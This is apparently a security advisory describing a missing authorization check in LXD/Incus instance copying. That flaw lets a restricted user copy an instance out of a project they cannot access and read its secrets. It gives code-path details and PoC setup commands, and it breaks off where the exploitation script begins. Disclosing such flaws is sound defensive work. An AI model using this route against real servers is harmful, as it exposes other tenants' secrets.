- Severity: HIGH
- Ecosystems: go
- Packages: github.com/canonical/lxd
Reported from https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg
### Summary
Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don’t have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.
### Details
`cmd/incusd/instances.go` authorizes `POST /1.0/instances` against the target project. In the copy path, `cmd/incusd/instances_post.go` then loads the source instance from `req.Source.Project` without checking whether the caller can view that source instance.
From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.
### PoC
#### Setup
We assume the target server is remotely accessible and a user/certificate has been added.
“`
# create a new project and instance
incus project create secrets
incus profile show default | incus –project secrets edit default
incus –project secrets init images:debian/trixie secret
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
– default
# verification, with the restricted certificate
incus ls remote:
“`
#### Exploitation
The below script was partly generated. To copy the `secret` instance to the…
Source: GitHub Security Advisories · 2026-11-06